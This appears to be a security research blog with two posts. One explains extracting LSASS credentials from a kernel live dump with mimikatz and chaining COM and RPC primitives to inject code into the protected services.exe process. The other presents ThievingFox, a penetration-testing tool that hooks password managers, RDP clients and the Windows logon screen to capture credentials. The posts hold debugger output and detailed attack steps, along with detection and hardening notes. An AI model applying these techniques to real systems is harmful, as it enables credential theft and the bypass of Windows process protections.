0: kd> .load C:\\path\\to\\mimilib.dll

  .#####.   mimikatz 2.2.0 (x64) built on Aug 10 2021 02:01:09
 .## ^ ##.  "A La Vie, A L'Amour" - Windows build 22631
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   https://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

0: kd> !process 0 0 lsass.exe
PROCESS ffffa1834530d080
    SessionId: 0  Cid: 0574    Peb: b9abf5a000  ParentCid: 0508
    DirBase: 018a8000  ObjectTable: ffff910463f91680  HandleCount: 1267.
    Image: lsass.exe

Page 3eb169 not present in the dump file. Type ".hh dbgerr004" for details
0: kd> .process /r /p  ffffa1834530d080
Implicit process is now ffffa183`4530d080
Loading User Symbols
................................................................
.....................
0: kd> !mimikatz

SekurLSA
========

[...]

	msv : 
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : DOMAIN
	 * NTLM     : <NT_HASH>

This method is unlikely to raise any EDR detection, since this does not rely on traditionnal code injection/cross-process memory reads: no handle to lsass.exe is required.

Credentials will only be retrieved on systems with Credential Guard disabled. (Shoutout to Antonio Cocomazzi to who also tweeted about this new feature a few weeks ago!)

Code injection

While the ability to dump lsass.exe is useful on its own, I wanted to see if I could leverage this to gain code execution within a PPL process, ideally running at the highest level, Win-TCB.

There are several offensive use cases to getting actual code execution within a PPL. The first one, as demonstrated by angryorchard, is the ability to get an arbitrary kernel pointer decrement, if you can inject code into the csrss.exe process, which runs at the PPL-WinTCB level. While the ability to decrement the PreviousMode value will reportedly be mitigated in a future Windows version, this primitive probably can be leveraged in some other ways, crossing the admin-to-kernel boundary.

On systems with Credentials Guard enabled, being able to inject code inside lsass.exe can help retrieve NetNTLMv1 hashes, and can also be used to reactivate Wdigest, which will capture credentials in cleartext, and not within VTL1.

This can also be used to tamper with EDR usermode processes, which usually run at the PPL-ELAM level.

For the rest of this blogpost, the focus will be on injecting code inside the services.exe process, which runs as PPL, at the WinTCB level, which is the highest level.

Existing techniques and history

As far as I know, there has been 3 public tools that resulted in code execution within a PPL process. These are PPLdump, PPLmedic, and PPLFault.

PPLFault abused a time-of-check/time-of-use vulnerability in the verification of the signature of DLL that are mapped inside PPL processes. I would recommend watching the presentation, which contains addition context about others attacks on PPL processes.

The main flaw abused by the other two, was first reported in this presentation, is how the signature verification works when loading a DLL inside a PPL process. When a DLL is loaded from disk, NtCreateSection is first called with SEC_IMAGE, and the resulting section object is then mapped via NtMapViewOfSection. However, the signature verification only occurs when NtCreateSection is called, and not when the section is mapped within the process.

This was mainly abused through the KnownDll mechanism, which is a cache containing section objects of commonly used DLL. When such a DLL is loaded within a process, the section object is first opened via NtOpenSection, and then mapped by calling NtMapViewOfSection. This means that the signature verification process is bypassed. And although a non PLL cannot directly add a section object of a DLL in KnownDLLs, it is possible to trick csrss.exe to add it for us - csrss.exe runs at PPL-WinTCB.

To mitigate these, Microsoft implemented two things. First, ntdll!LdrpKnownDllDirectoryHandle, which holds a handle to KnownDll inside a normal process, is now unintialized by default inside PPL processes, and has been moved inside the .mrdata section. This section is read-only most of the time, and when a variable within this section needs to be changed, LdrProtectMrdata is called to toggle the memory permissions of the .mrdata section, make the change, and then toggled back.

Looking at a memory dump of a PPL process, we can see the following, which confirms the mitigations are present:

0:000> !address ntdll!LdrpKnownDllDirectoryHandle

Usage:                  Image
Base Address:           00007ffc`ebddb000
End Address:            00007ffc`ebe66000
Region Size:            00000000`0008b000 ( 556.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000002          PAGE_READONLY
Type:                   01000000          MEM_IMAGE
Allocation Base:        00007ffc`ebc50000
Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY
Image Path:             ntdll.dll
Module Name:            ntdll
Loaded Image Name:      C:\Windows\SYSTEM32\ntdll.dll
Mapped Image Name:      
More info:              lmv m ntdll
More info:              !lmi ntdll
More info:              ln 0x7ffcebdea2b0
More info:              !dh 0x7ffcebc50000

0:000> dp ntdll!LdrpKnownDllDirectoryHandle
00007ffc`ebdea2b0  00000000`00000000 00000000`00000000

Aside from these tools, James Forshaw published an article which demonstrated how to use COM remoting to overwrite ntdll!LdrpKnownDllDirectoryHandle with a valid handle to then load into a Protect Process an unsigned DLL, using the mechanism described above (at the time, ntdll!LdrpKnownDllDirectoryHandle was not placed inside the .mrdata section).

This technique was later described in details in MDSec’s blog, and implemented in a proof of concept to inject code into a remote process.

The short version is, if you can read the target process’s COM secret and context, as well as the IPID of the IRundown interface within the target process, it is possible to remotely invoke the IRundown::DoCallback method within the PPL process. This method takes a XAptCallback structure as an argument, which holds a function pointer to invoke in the remote process, as well as single argument to pass to the function. The function pointer is validated by Control Flow Guard (CFG), so it can’t be any pointer.

Getting arbitrary function call

Since we can read the memory of the usermode pages of a PPL process such as services.exe through the livedump generated by NtSystemDebugControl, the exploitation of IRundown::DoCallback is possible.

However, whereas the COM process secret and context of services.exe was always present within the dump, the IPID was rarely present - most likely due to being paged out (I haven’t investigated the reason why). To avoid this issue, it is possible to read the memory of the RPCSS service, which maintains a list of all IPID on a machine, since it is responsible for dispatching remote COM calls to the appropriate process where the actual object lives. RPCSS does not run as PPL, so it is possible to directly use ReadProcessMemory - it could also be parsed from the memory dump.

With this, it’s possible to call any CFG-valid target, with a single argument within services.exe.

Getting an arbitrary memory write

In his writeup, James Forshaw uses this primitive to call SetProcessDefaultLayout and GetProcessDefaultLayout, to overwrite LdrpKnownDllDirectoryHandle with a valid handle value.

Since it’s not possible anymore to directly overwrite ntdll!LdrpKnownDllDirectoryHandle, I’ll try to get the ability to call any function, without limitation for the arguments. And for that, an arbitrary write will make it much easier.

The combination of GetProcessDefaultLayout and SetProcessDefaultLayout only writes a value in the form of 0x0?0?0?0?, which isn’t so easy to manipulate, so I searched for other APIs.

Instead of searching for a function that would let me precisely control the value written, I looked for arbitrary increment.

Looking for a “AddRef” function was fruitful. I settled on combase!CStdStubBuffer_AddRef:

0:017> uf combase!CStdStubBuffer_AddRef
combase!CStdStubBuffer_AddRef [onecore\com\combase\ndr\ndrole\stub.cxx @ 878]:
  878 00007ff9`31d4e580 b801000000      mov     eax,1
  880 00007ff9`31d4e585 f00fc14108      lock xadd dword ptr [rcx+8],eax
  880 00007ff9`31d4e58a ffc0            inc     eax
  881 00007ff9`31d4e58c c3              ret

This function takes a single argument in the RCX register, and increments the dword pointed by RCX+8, atomically.

This function is also a valid CFG target, so this works perfectly. Now, to get an arbitrary write using this arbitrary increment, it’s simply a matter of incrementing a memory region, byte by byte, to get the desired memory buffer.

In the next steps, we will need to craft multiple arbitrary buffers, so, where should we write these buffers ? I opted to use the end of the .data section of various DLL that are already loaded in the PPL process. In memory, the sections of a PE file are page size-aligned, with zero-padding between sections. Since the pages of the .data section are allocate as RW, this gives us zero-initialized memory that is unused and writeable - overwriting this data won’t risk crashing the process.

RPC to the rescue!

Now, we have two primitives: arbitrary write, and a one argument function call. The goal is to transform this into the ability to call any function without limitation on the arguments.

To do so, I reused an idea from this browser exploitation technique.

The idea is relatively simple, with the arbitrary write, it’s possible to setup a NDR message, which is the representation of RPC messages. Then, it is possible to call rpcrt4!NdrServerCall2, with a single argument being a pointer to a RPC_MESSAGE structure, containing the NDR. This function is responsible for unmarshalling the NDR, which includes informations on a function to invoke, as well as the number of arguments to pass to the function.

By carefully cratfing the structure, it is possible to call an arbitrary function, with as many arguments as we want.

From there, injecting code into services.exe seems to be simply a matter of allocating RWX memory, and creating a thread.

Mitigations

Unfortunately, this won’t work for services.exe. Here’s the list of mitigations active on the process:

0: kd> dx @$curprocess.KernelObject.MitigationFlagsValues
@$curprocess.KernelObject.MitigationFlagsValues                 [Type: <unnamed-tag>]
    [+0x000 ( 0: 0)] ControlFlowGuardEnabled : 0x1 [Type: unsigned long]
    [+0x000 ( 1: 1)] ControlFlowGuardExportSuppressionEnabled : 0x0 [Type: unsigned long]
    [+0x000 ( 2: 2)] ControlFlowGuardStrict : 0x0 [Type: unsigned long]
    [+0x000 ( 3: 3)] DisallowStrippedImages : 0x0 [Type: unsigned long]
    [+0x000 ( 4: 4)] ForceRelocateImages : 0x0 [Type: unsigned long]
    [+0x000 ( 5: 5)] HighEntropyASLREnabled : 0x1 [Type: unsigned long]
    [+0x000 ( 6: 6)] StackRandomizationDisabled : 0x0 [Type: unsigned long]
    [+0x000 ( 7: 7)] ExtensionPointDisable : 0x1 [Type: unsigned long]
    [+0x000 ( 8: 8)] DisableDynamicCode : 0x1 [Type: unsigned long]
    [+0x000 ( 9: 9)] DisableDynamicCodeAllowOptOut : 0x0 [Type: unsigned long]
    [+0x000 (10:10)] DisableDynamicCodeAllowRemoteDowngrade : 0x0 [Type: unsigned long]
    [+0x000 (11:11)] AuditDisableDynamicCode : 0x1 [Type: unsigned long]
    [+0x000 (12:12)] DisallowWin32kSystemCalls : 0x0 [Type: unsigned long]
    [+0x000 (13:13)] AuditDisallowWin32kSystemCalls : 0x0 [Type: unsigned long]
    [+0x000 (14:14)] EnableFilteredWin32kAPIs : 0x0 [Type: unsigned long]
    [+0x000 (15:15)] AuditFilteredWin32kAPIs : 0x0 [Type: unsigned long]
    [+0x000 (16:16)] DisableNonSystemFonts : 0x1 [Type: unsigned long]
    [+0x000 (17:17)] AuditNonSystemFontLoading : 0x0 [Type: unsigned long]
    [+0x000 (18:18)] PreferSystem32Images : 0x0 [Type: unsigned long]
    [+0x000 (19:19)] ProhibitRemoteImageMap : 0x0 [Type: unsigned long]
    [+0x000 (20:20)] AuditProhibitRemoteImageMap : 0x0 [Type: unsigned long]
    [+0x000 (21:21)] ProhibitLowILImageMap : 0x0 [Type: unsigned long]
    [+0x000 (22:22)] AuditProhibitLowILImageMap : 0x0 [Type: unsigned long]
    [+0x000 (23:23)] SignatureMitigationOptIn : 0x1 [Type: unsigned long]
    [+0x000 (24:24)] AuditBlockNonMicrosoftBinaries : 0x0 [Type: unsigned long]
    [+0x000 (25:25)] AuditBlockNonMicrosoftBinariesAllowStore : 0x0 [Type: unsigned long]
    [+0x000 (26:26)] LoaderIntegrityContinuityEnabled : 0x0 [Type: unsigned long]
    [+0x000 (27:27)] AuditLoaderIntegrityContinuity : 0x0 [Type: unsigned long]
    [+0x000 (28:28)] EnableModuleTamperingProtection : 0x0 [Type: unsigned long]
    [+0x000 (29:29)] EnableModuleTamperingProtectionNoInherit : 0x0 [Type: unsigned long]
    [+0x000 (30:30)] RestrictIndirectBranchPrediction : 0x0 [Type: unsigned long]
    [+0x000 (31:31)] IsolateSecurityDomain : 0x0 [Type: unsigned long]

Arbitrary Code Guard is enabled on services.exe, which prevents the allocation of a RWX memory section, or changing from RW to RX using our arbitrary call primitive.

Failed attempt

My first idea to bypass this mitigation, was to abuse a well-known limitation of Arbitrary Code Guard. Although the process itself cannot allocate new executable memory, a different process with a handle to the first process with VM_OPERATION - and without the mitigation - can allocate new executable code within the original process which has Arbitratry Code Guard.

This is due to the MiArbitraryCodeBlocked function, which is called in the context of the remote process, for instance when calling NtProtectVirtualMemory:

NTSTATUS MiArbitraryCodeBlocked(_EPROCESS *pEprocess)
{
  if (((pEprocess->MitigationFlags & DisableDynamicCode) == 0) ||
     (KeGetCurrentThread()->CrossThreadFlags & DisableDynamicCodeOptOut) != 0)) {
    if (((pEprocess->MitigationFlags & AuditDisableDynamicCode) != 0) &&
       ((KeGetCurrentThread()->CrossThreadFlags & DisableDynamicCodeOptOut) == 0)) {
      EtwTimLogProhibitDynamicCode(1, pEprocess);
    }
    EtwTraceMemoryAcg(0);
    return STATUS_SUCCESS;
  }
  else {
    EtwTraceMemoryAcg(0x80000000);
    EtwTimLogProhibitDynamicCode(2, pEprocess);
    return STATUS_DYNAMIC_CODE_BLOCKED;
  }
}

Since the EPROCESS passed to this function is the one of the current process in the context of NtAllocateVirtualMemory or NtProtectVirtualMemory, and not the one of the remote process, a process without the mitigation can allocate RWX memory in a process with the mitigation, given a handle with enough right.

My idea was to call NtDuplicateObject using the arbitrary function call primitive, to give a handle with full permissions to a process without Arbitrary Code Guard, and then perform code injection using this handle.

However, this doesn’t work as I expected: our remote process receives a valid handle to the services.exe process, but this handle only has the Query Limited Informations right.

The reason for that is that I didn’t fully understand how the checks for PPL are implemented.

The checks are actually implemented by the PsTestProtectedProcessIncompatibility function, called within the PspProcessOpen:

PspProcessOpen is registered as the OpenProcedure for the ObjectType associated with processes objects.

0: kd> dt nt!_OBJECT_TYPE ffff9a8d`468c1bc0
   +0x000 TypeList         : _LIST_ENTRY [ 0xffff9a8d`468c1bc0 - 0xffff9a8d`468c1bc0 ]
   +0x010 Name             : _UNICODE_STRING "Process"
   +0x020 DefaultObject    : (null) 
   +0x028 Index            : 0x7 ''
   +0x02c TotalNumberOfObjects : 0x9b
   +0x030 TotalNumberOfHandles : 0x5e1
   +0x034 HighWaterNumberOfObjects : 0x9b
   +0x038 HighWaterNumberOfHandles : 0x633
   +0x040 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x0b8 TypeLock         : _EX_PUSH_LOCK
   +0x0c0 Key              : 0x636f7250
   +0x0c8 CallbackList     : _LIST_ENTRY [ 0xffffaf04`f583ee00 - 0xffffaf04`f583ee00 ]

0: kd> dx -id 0,0,ffff9a8d4bc750c0 -r1 (*((ntkrnlmp!_OBJECT_TYPE_INITIALIZER *)0xffff9a8d468c1c00))
(*((ntkrnlmp!_OBJECT_TYPE_INITIALIZER *)0xffff9a8d468c1c00))                 [Type: _OBJECT_TYPE_INITIALIZER]
    [+0x000] Length           : 0x78 [Type: unsigned short]
    [+0x002] ObjectTypeFlags  : 0xca [Type: unsigned short]
    ...
    [+0x020] RetainAccess     : 0x101000 [Type: unsigned long]
    [+0x024] PoolType         : NonPagedPoolNx (512) [Type: _POOL_TYPE]
    [+0x028] DefaultPagedPoolCharge : 0x1000 [Type: unsigned long]
    [+0x02c] DefaultNonPagedPoolCharge : 0xbd8 [Type: unsigned long]
    [+0x030] DumpProcedure    : 0x0 : 0x0 [Type: void (__cdecl*)(void *,_OBJECT_DUMP_CONTROL *)]
    [+0x038] OpenProcedure    : 0xfffff807173e61f0 : ntkrnlmp!PspProcessOpen+0x0 [Type: long (__cdecl*)(_OB_OPEN_REASON,char,_EPROCESS *,void *,unsigned long *,unsigned long)]
    [+0x040] CloseProcedure   : 0xfffff8071732ad50 : ntkrnlmp!PspProcessClose+0x0 [Type: void (__cdecl*)(_EPROCESS *,void *,unsigned __int64,unsigned __int64)]
    [+0x048] DeleteProcedure  : 0xfffff807173df330 : ntkrnlmp!PspProcessDelete+0x0 [Type: void (__cdecl*)(void *)]
    [+0x050] ParseProcedure   : 0x0 : 0x0 [Type: long (__cdecl*)(void *,void *,_ACCESS_STATE *,char,unsigned long,_UNICODE_STRING *,_UNICODE_STRING *,void *,_SECURITY_QUALITY_OF_SERVICE *,void * *)]

As such, when NtDuplicateObject is called, it calls ObDuplicateObject, which, if everything is valid, calls ObpIncrementHandleCountEx, triggering the OpenProcedure for the corresponding Object Type, in our case, PspProcessOpen - which will strip the rights of the handle.

To solve this issue, a first option is to spawn a new services.exe, but without the mitigation. Afterwards, since Arbitrary Call Guard is not enabled on this new services.exe, it is possible to allocate RWX memory and write a shellcode to it.

The other option is to abuse the fact that the signature is not verified during the mapping of Section objects.

The complete chain

Now, let’s see how we can assemble all these primitives to get code execution within services.exe.

First, we create a Kernel LiveDump, specifying the IncludeUserSpaceMemoryPages flag.

This will create a livedump on disk. This may slow down the system for a few seconds.

Next, we parse the livedump to retreive the necessary values

To be able to parse the livedump file, I made a quick reimplementation of kdmp-parser in Rust (while doing this project, the original author made his own port to Rust, which is probably much better but I’m too lazy to change).

First, we locate the PsActiveProcessHead, which points to an entry in the doubly-linked of processes in kernel memory containing the EPROCESS structure of all processes. When the target PID is found, we read the DirectoryTableBase field of the EPROCESS, which corresponds to the PML4 entry for the virtual memory of services.exe.

We also parse the memory of services.exe within the livedump

To find the COM process secret and context, the easiest way is to use symbols. In their article, MDSec showed how to find the address without symbols, so this can work as well.

There are two values that we are interested in: the COM context and process secret.

Within the memory of RPCSS, we locate an IPID and OXID associated with the IRundown interface in the services.exe process

Since this process does not run as PPL, its memory can be read as a process having SeDebugPrivilege using ReadProcessMemory and similar APIs.

The symbol gpServerOxidTable within rpcss.dll points to a structure, which contains a number of CServerOXID entries.

0:000> dp rpcss!gpServerOxidTable
00007ffe`20c5ed08  00000284`dd6412d0 00000284`dd641410

0:000> dp 00000284`dd6412d0
00000284`dd6412d0  0000011f`00000200 00000284`de1d9750
                      ^        ^             ^
                      |        |             |
                      |        |             |
                      |    Array Max Size    |
                      |                      |
              Current Array Size      Array Address

0:000> dp 00000284`de1d9750
00000284`de1d9750  00000284`de0ba250 00000284`dddcc250
00000284`de1d9760  00000000`00000000 00000284`de797490
00000284`de1d9770  00000284`de7f89e0 00000284`de058150

Although the CServerOXID structure is undocumented, there are three fields we are interested in: one is the IPID of the IRundown interface, one is the OXID of the object. The other is a pointer to the associated CProcess structure, which holds the PID of the process where the object lives.

0:000> dt nt!_GUID 00000284`de0ba250 + 0x60
ntdll!_GUID
 {0000bc0e-2370-1478-2908-8cd7ff79d45f} <-- IPID of the IRundown interface

0:000> dp 00000284`de0ba250 + 0x20
00000284`de0ba270  00000284`de7df650 00000012`00000000
                          ^
                          |
                          |
                    CProcess entry

0:000> du poi(00000284`de7df650 + 0x180)
00000284`de06e740  "C:\Program Files\WindowsApps\Mic"
00000284`de06e780  "rosoft.WindowsTerminal_1.19.1121"
00000284`de06e7c0  "3.0_x64__8wekyb3d8bbwe\WindowsTe"
00000284`de06e800  "rminal.exe"

0:000> dd 00000284`de7df650+0x58
00000284`de7df6a8  00002370 <-- PID of the process, here WindowsTerminal.exe

Finally, we use the IRundown::DoCallback method repeatedly, to invoke combase!CStdStubBuffer_AddRef.

Using the arbitrary increment, we craft valid RPC_MESSAGEs for the next function calls, with valid arguments.

If the target services.exe is a new process without Arbitrary Code Guard, the chain of RPC_MESSAGE can be used to allocate a RWX buffer, copy a shellcode and execute it.

Otherwise, if the services.exe is the original one, the payload must be mapped via NtMapViewOfSection in the process. The easiest way would be to change the protection of ntdll!LdrpKnownDllDirectoryHandle, write a valid handle to a Directory object containing section ojects, then call LoadLibraryA. However, I decided it would be interesting to explore how to do it without leveraging ntdll!LdrpKnownDllDirectoryHandle.

In the exploit process, we call NtCreateSection on an unsigned DLL. Then, using the ability to call functions within services.exe, open the exploit process using NtOpenProcess, and duplicate the section handle of the unsigned DLL using NtDuplicateObject. With this, we have a valid handle to a Section object inside services.exe, without having performed the signature verification. This Section object can then be mapped with NtMapViewOfSection. The downside of this approach is although the DLL is mapped, relocations are not fixed, as they are usually done in the call to LdrLoadDll and not in the NtMapViewOfSection syscall.

I have implemented a proof of concept for this strategy, available on Github.

Detections ideas and takeaways

Regarding detection, the Kernel-LiveDump log source generates events when such a dump is created, in particular, event IDs 2, 3, and 4 seem relevant.

PS> Get-WinEvent -LogName Microsoft-Windows-Kernel-LiveDump/Operational -MaxEvents 3


   ProviderName: Microsoft-Windows-Kernel-LiveDump

TimeCreated                      Id LevelDisplayName Message
-----------                      -- ---------------- -------
5/20/2024 1:09:57 PM              2 Information      Live Dump Capture Dump Data API ended. NT Status: STATUS_SUCCESS.  BugcheckCode: 353. BugcheckParameter1: 0x0. BugcheckParameter2: 0x0. BugcheckParameter3: 0x0. BugcheckParameter4: 0x0. AbortIfMemoryPressure: 0. DumpCaptureDuration: 2313ms. SelectiveDump: 0. DynamicLowMemoryThreshold: 0 bytes.  AvailablePhysicalMemory: 7430266880 bytes. TotalPhysicalMemory: 16849256448 bytes.  IOSpaceEnabled: false.
5/20/2024 1:09:57 PM              4 Information      Writing dump file ended. NT Status: 0x0. Total 3116253184 bytes (Header|Primary|Secondary: 1802240|3114450944|0 bytes). DumpWriteDuration: 1712ms.
5/20/2024 1:09:55 PM              3 Information      Writing dump file started.

This might also help detect the misuse of legitimate RAM acquisition tools for offensive purposes, though I haven’t investigated whether these drivers leverage the same kernel API or perform the dump without it.

In combination, Arbitrary Code Guard and PPL should work well together to prevent code injection, somewhat similarily to HVCI, but due to the limitations of each, they fall short of the goal. In particular, the absence of verification during the mapping is a design flaw that has remained unfixed since the first report about it. It would be interesting to require PPL processes to be started with Arbitrary Code Guard enabled, but this might have side effects I haven’t considered.

Finally, this method could be leveraged to inject into Protected Process as well, but there seems to be little reason to do so as far as I know.

ThievingFox - Remotely retrieving credentials from password managers and Windows utilities

Sun, 21 Jan 2024 16:26:38 +0100

ThievingFox is a collection of post-exploitation tools, used to gather credentials from workstations and servers in the context of penetration tests and similar engagements. It works by making the target application load a malicious library, which performs in-memory hooking to gather credentials.

During pentests, I’ve had great successes using KeeThief and mimikatz’s ts::mstsc module to gather additional credentials from KeePass and the default RDP client on Windows, on compromised admin workstations.

Using these tools, I found some shortcomings, which ThievingFox aims to address, namely:

Not all administrators are necessarily using these specific applications, which requires identifying potential victims
Administrators are probably not running with KeePass or the default RDP client at all time, which requires actively waiting for them to open them

While doing so, I added other targets than KeePass and the default RDP client.

The tool can be found on Github.

Design Considerations

At a high level, ThievingFox works by injecting code inside the targeted application, which then hooks sensitives functionalities, enabling the capture of credentials. When designing ThievingFox, a few goals were defined.

Firstly, the hooking process should be transparent to the end user - since the goal of ThievingFox is to assist in pentests, it should not impact the use of the application.

Furthermore, the hooking process should be somewhat stable for a given target application. Unlike other tools and proof of concepts that have a similar goal, ThievingFox does not use byte-pattern signatures to identify target functions, because these signatures can be very fragile between environments and versions. This make the finding interesting places to hook more challenging. Without signatures, we can’t directly hook the functions responsible for processing the credentials, so instead I tried to find libraries with exported symbols, that are somehow used in processing the credentials, to hook them. This makes the hooking more robust, because the external functions from other libraries used are less likely to change across versions and environments.

Finally, many sanity checks are performed to lower the risk of breaking any functionality of the legitimate application.

As a prerequisite to using ThievingFox, local administrator privileges must be obtained, and SMB access must not be filtered.

Active vs Passive injections

Regardless of the targeted application, in order to capture credentials, the application must be hooked. To be able to hook any function, we must be able to run some code within the targeted process. And, for that, some form of process injection must be performed.

A first option would be to perform some form of “active” injection - a combination of some sort of the OpenProcess/WriteProcessMemory/CreateRemoteThread API calls.

This has several downsides :

These Windows API and the associated syscalls are heavily monitored by EDR/AV.
This would require some form of polling to determine whether a victim process is running, which is not ideal for performance reasons.
To actually perform the polling, the most the common options would be to either use WMI or create a remote process, both of which could be detected and blocked as a form of lateral movement.

All these reasons made “passive” injections preferable. Instead of actively injecting code inside the victim process whenever it is detected, we trick the victim application to load our additional code whenever it is started. This resolves all main issues: no polling, no lateral movement to actively create a process on a remote host, and “passive” injections do not need to call monitored Windows API.

Different techniques are used to perform these “passive” injections, detailed in later sections.

Crypto

When any credentials are captured from any application, they must be retrieved by the pentester’s machine before being usable. At first, an approach of exfiltrating over HTTP was considered, but this requires a permanent listener, and can also be impractical due to firewalling. The chosen solution ended up being the storage of captured credentials on the target victim filesystem, and waiting for a later point when the credentials are collected from disk, over SMB.

To safely store the credentials on disk, asymmetric cryptography is used - each DLL on the target host embeds a public key, while the private key remains on the machine where ThievingFox is ran.

I opted to use libsodium due to its simplicity of use, as well as the presence of bindings in multiple languages (Python, Rust, .NET) - with Sealed Boxes.

Native Applications

DLL Proxying

DLL Sideloading is probably the most well-known technique to inject additional code inside a targeted application. The main idea is to hijack one of the imported DLL by the main executable, by abusing the default configuration of the Windows library loader, which searches the corresponding library name in the folder where the executable is located.

In the case of our targeted applications, DLL sideloading is impractical for Windows binaries - we don’t want to overwrite a DLL inside C:\Windows\System32 that is used by many other applications, which would risk our malicious DLL being loaded in an unexpected process.

Consequently, DLL sideloading is only used for one application: KeePassXC, which ships with multiple DLL, that are nice targets for sideloading. One of the crypto library used by KeePassXC is targeted, argon2.dll, and is replaced by our hooking DLL:

To ensure that the original functionalities offered by the DLL we are replacing still work, we re-export the symbols and forward them to the original DLL. To automate this process, this is done during compilation, using Rust build scripts (an example can be found here).

This results in the hooking DLL exporting the following symbols :

As of the first version of ThievingFox, KeePassXC is the only application where DLL proxying is used.

Hooking KeePassXC

To retrieve the masterkey used to unlock a database, we have to hook some external function to which is handed a reference to the masterkey. In KeePassXC, the masterkey is very short-lived, and zeroed out as soon as possible.

The only function matching this criteria that I could find is Botan::Buffered_Computation::update, which is the method use to update the internal representation to compute a hash of the masterkey. This can also be seen in the source code here.

This method is called multiple times, with the masterkey, but also with data we’re not interested in. But with a simple heuristic (ensuring that the character sequence is valid UTF-8, and ensuring that all characters are not null-bytes and other non-printable characters), it is possible to filter out masterkeys from the other type of data.

Now that we know what function we want to target, we have to perform the actual hooking. I chose to perform simple in-memory byte-patching. To do so I used the minhook library, due to its simplicity, its robustness, as well as being easily cross-compilable with Rust (using the minhook-sys crate).

All of this makes the retrieval of the maskerkey (and potential keyfile) possible whenever a KeePassXC application unlocks a database :

A similar approach was used to hook other native applications. To identify what exported symbols to use, a combinaison of API Monitor and manual reverse engineering was used.

COM Hijacking

What about other native applications ? As we discussed previously, replacing a DLL in C:\Windows\System32 would not be ideal. Luckily, all Microsoft applications that we are interested in use COM in some form.

COM hijacking enables an attacker to load its own library within a process by simply modifying a registry value. The registry value describes the DLL that is loaded when the application tries to instantiate the corresponding COM class. This is perfect for our scenario !

Not all classes can be hijacked, the executable that implements the functionalities of the class must be implemented in-process. To determine whether a class is suitable, the necessary information is stored is the registry keys associated with the Class ID (CLSID).

Identifying potential COM classes that can be hijacked for a target process can be easily done using ProcMon :

This process has been repeated for all targeted applications. For each one, a CLSID that was rarely used by other application has been selected.

Hooking RDCMan

RDCMan uses CLSID 4EB89FF4-7F78-4A0F-8B8D-2BF02E94E4B2, which is associated with the MsRdpClient5 class, which contains the interface IMsRdpClient5. This interface implements all the necessary functionalities to create a RDP client, including authentication. All these functions are implemented inside the mstscax.dll DLL. In particular, the function used to hand over the password of the account used for authentication is put_ClearTextPassword

Unfortunately, the symbols for these functions are not exported directly :

But, since the mstscax.dll DLL which implements COM method is an in-process server, there is no marshalling to invoke COM methods. This means that we can instantiate our own object, look inside its vtable to find directly the address in memory of the functions we’re interested in (the ones related to authentication), and hook them, as we’ve done before for KeePassXC !

This is the approach that is used for both RDCMan and MobaXTerm, which both use a different version of the IMsRdpClient interface.

Hooking LogonUI

Hooking LogonUI.exe isn’t any different to hooking other native application (in ThievingFox, a combination of COM hijacking and library hooking is used for LogonUI.exe). However I wanted to highlight the impact.

LogonUI.exe is the process responsible for handling credentials when a user who is physically present on the computer unlocks his session. In addition, LogonUI.exe also handles credentials used for RDP connections (at least, when Restricted Admin is not used).

This means that if a server is poisoned, and an administrator uses RDP to connect to this server, its credentials are captured:

While not all credentials that end up in lsass.exe go through LogonUI.exe, but a significant proportion of them do, which is a different way of gathering credentials without touching the actual lsass.exe process.

.NET Framework applications

AppDomainManager Injection

Applications that are built using the .NET Framework can use a feature named AppDomainManagers. An AppDomain is an instance of the .NET virtual machine within a process. As such, a process can contain multiple AppDomains, to host different applications withing the same process. An AppDomainManager is a managed library that controls how AppDomains are created, destroyed, etc. within a process.

What’s interesting about AppDomainManagers is that they can be specified in the config file that is shipped with .NET Framework application, as stated in the documentation.

The only target application (for now) written in .NET Framework is KeePass.

ThievingFox edits the configuration file to add an AppDomainManager, which points to our hooking library:

Hooking KeePass

Unlike native application, hooking the main binary itself is possible : reflection enables us to find functions inside the main assembly that receives the credentials, without any byte-pattern to identify functions.

The actual hooking is also different: the function that we will be hooking is a function written in .NET, so it will be much easier to manipulate its arguments if our hook is also in managed code.

To perform the patch we retrieve the native function pointer associated with the Method objects associated with the hook and the target function, and simply switch the pointers.

Before switching pointers, we ask the CLR to JIT-compile the hook and the target function, to ensure they are implemented in native code and are not emulated by the CLR VM, and do not move in memory. I also ensure that both the hook and the original function have the same prototype, to be able to manipulate the arguments.

This has a downside : previous versions of the CLR runtime would not necessarily work the same way and as such, switching functions pointers like this might not work. Luckily, most recent versions of .NET frameworks behave this way. Sanity checks have been added to ensure that if we cannot retrieve a correct function pointer, nothing happens.

Hardening

So what can be done about it ?

The general stance, at least for KeePass and KeePassXC, is that if a malicious application is running on the computer, there is nothing that can be done about it.

KeePassXC takes a measure against “active” injections: it modifies the ACL of its own process handle, to deny access to everyone, including the current user - relevant source code.

While this does not prevent privileged users from getting a handle the KeePassXC by using the SeDebugPrivilege, it is a good measure if a low-privileged user is using KeePassXC and this same user is also running a malicious application.

KeePass has the same feature, although the configuration option Configuration/Security/ProtectProcessWithDacl must be configured manually, as stated in the documentation.

Some applications, like Chrome, prevent passive injections by enforcing that all DLL are Microsoft-signed, using PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY. This would require that all dependencies used by the applications are signed, and would prevent the use of third-party plugins. However, several other techniques exist to force KeePass to export unencrypted database, without injection.

Unfortunately Windows does not offer any mechanism other than PPL for Anti-Malware (that I know of) to protect sensitives third-party user-mode applications. As such, credentials manager, cannot benefit from this. VirtualBox tries to emulate this protection mechanism, but this requires a device driver and complex user mode code.

What’s next

As of the publication of this article, the following applications are targeted by ThievingFox :

Application	Injection Method
KeePass.exe	AppDomainManager Injection
KeePassXC.exe	DLL Proxying
LogonUI.exe (Windows Login Screen)	COM Hijacking
consent.exe (Windows UAC Popup)	COM Hijacking
mstsc.exe (Windows default RDP client)	COM Hijacking
RDCMan.exe (Sysinternals’ RDP client)	COM Hijacking
MobaXTerm.exe (3rd party RDP client)	COM Hijacking

